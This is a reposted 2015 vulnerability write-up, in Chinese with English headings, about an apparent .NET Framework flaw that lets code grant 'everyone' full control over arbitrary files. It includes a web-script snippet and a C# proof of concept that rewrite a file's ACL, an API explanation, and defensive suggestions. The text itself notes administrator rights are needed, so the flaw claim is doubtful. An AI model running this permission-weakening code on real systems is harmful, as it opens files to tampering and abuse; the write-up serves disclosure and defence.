QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul


catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

1. Description

通過.NET Framework的這個API漏洞,攻擊者可以賦予任意程序文件執行權限

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0104148
https://butian.360.cn/vul/info/qid/QTVA-2015-198545


2. Effected Scope

Microsoft .NET Framework 2.0 
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.1


3. Exploit Analysis

try
{ 
    var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
    /*
    DirectoryInfo類,公開用於創建、移動和枚舉目錄和子目錄的實例方法,此類不能被繼承
    https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
    */
    var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);


    /*
    GetAccessControl(): 獲取DirectorySecurity對象,該對象封裝當前DirectoryInfo對象所描述的目錄的訪問控制列表(ACL)項
    返回一個DirectorySecurity對象,該對象封裝此目錄的訪問控制規則
    https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
    */
    var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
    
    /*
    AddAccessRule(FileSystemAccessRule): 將指定的訪問控制列表(ACL)權限添加到當前文件或目錄
    https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
    public FileSystemAccessRule(
        IdentityReference identity, 
        FileSystemRights fileSystemRights, 
        AccessControlType type
    )
    1. identity: System.Security.Principal::IdentityReference: 封裝對用戶帳戶的引用的 IdentityReference對象
    2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,該值指定與訪問規則關聯的操作的類型 
    3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,該值指定是允許還是拒絕該操作 
    */
    dirsecurity.AddAccessRule( 
        new System.Security.AccessControl.FileSystemAccessRule(
            strUser, 
            System.Security.AccessControl.FileSystemRights.FullControl, 
            System.Security.AccessControl.AccessControlType.Allow
        ));
    /*
    FileSystemAccessRule類: 表示定義文件或目錄的訪問規則的訪問控制項 (ACE) 的抽象
    https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
    */
    
    //SetAccessControl: 將DirectorySecurity對象所描述的訪問控制列表(ACL)項應用於當前DirectoryInfo對象所描述的目錄
    dirinfo.SetAccessControl(dirsecurity);
    Response.Write(strPath+"\t權限添加成功!");
 
}
catch(x)
{
    Response.Write(x.Message);
}

Relevant Link:

https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx

0x1: POC

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace poc
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            { 
                String strPath = "C:\\notepad.exe", strUser = "everyone"; 
                System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
                System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl();
   
                dirsecurity.AddAccessRule( 
                    new System.Security.AccessControl.FileSystemAccessRule(
                        strUser, 
                        System.Security.AccessControl.FileSystemRights.FullControl, 
                        System.Security.AccessControl.AccessControlType.Allow
                    )); 

                dirinfo.SetAccessControl(dirsecurity);
                Console.WriteLine(strPath+"\t權限添加成功!");
 
            }
            catch(Exception x)
            {
                Console.WriteLine(x.Message);
            }
        }
    }
} 


4. Principle Of Vulnerability

使用.NET的Directory類,用戶可通過DirectorySecurity對象的下列方法來訪問目錄的訪問控制列表(ACL)

1. GetAccessControl: 返回一個目錄的Windows ACL作為一個DirectorySecurity對象 
2. SetAccessControl: 將DirectorySecurity對象的ACl入口賦予指定目錄 

0x1: DirectorySecurity

DirectorySecurity類定義了如何對目錄訪問進行審計。該類是潛在的Windows文件安全系統(System.Security.AccessControl命名空間的一部分)的一個抽象,在該系統中,每個目錄有一個自由決定的ACL來控制目錄訪問。同時,一個系統ACL決定對哪些訪問控制進行審計。使用兩個類來分別處理目錄訪問和審計

1. FileSystemAccessRule
2. FileSystemAuditRule

ileSystemAccessRule類代表一個潛在的訪問控制入口的抽象,訪問控制入口用來指定用戶賬號,提供的訪問類型(讀、寫等)以及是許可或拒絕某個權限。同時,該類還指定了如何將訪問規則傳遞給子對象。FileSystemAuditRule類代表了為某個文件或目錄定義審計規則的ACE
為了通過DirectorySecurity類為某個目錄添加一條新規則,需要FileSystemAccessRule和FileSystemAuditRule兩個類的新實例

1. 第一個參數: 指定每個應用該規則的用戶、組或標識
2. 第二個參數: FileSystemRights列表,用來指定用戶(由第一個參數指定)可以進行的操作,它包含很多可能的取值,包括
    1) CreateDirectories
    2) CreateFiles
    3) Delete
    4) FullControl
    5) ListDirectory
3. 最后一個參數: 可用來指定用戶能否執行參數二的操作。AccessControlType列表包括兩個可能取值
    1) 允許
    2) 拒絕
用於FileSystemAuditRule類的第三個參數可從AuditFlags列表的Failure、None或Success中取值來設定審計級別。FileSystemAuditRule類的構造函數是重載的,這個方法是最基本的方法 

需要注意的是,需要使用管理員權限調用DirectorySecurity相關API

Relevant Link:

http://developer.zdnet.com.cn/2007/0510/391302.shtml
http://www.wyxit.com/article/201501/6731.html


5. Patch Fix

.NET Framework和Java JVM本質上是一樣的,都是在操作系統之上抽象出了一層虛擬機,從而允許"中間字節碼"在虛擬機上運行,從而實現跨平台
在.NET Framework框架中,如果需要調用操作系統API實現操作系統功能,需要通過Native API接口,即通過DLL/SO來調用操作系統API,因此,我們的防御方案可以從以下方向展開

1. .NET Framework DirectorySecurityAPI涉及到的nativa API為
    1) SetSecurityDescriptorDacl
    2) SetFileSecurity
通過DLL/SO Hook實現管控

2. 在內核層執行路徑上進行防御

 

Copyright (c) 2015 Little5ann All rights reserved

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM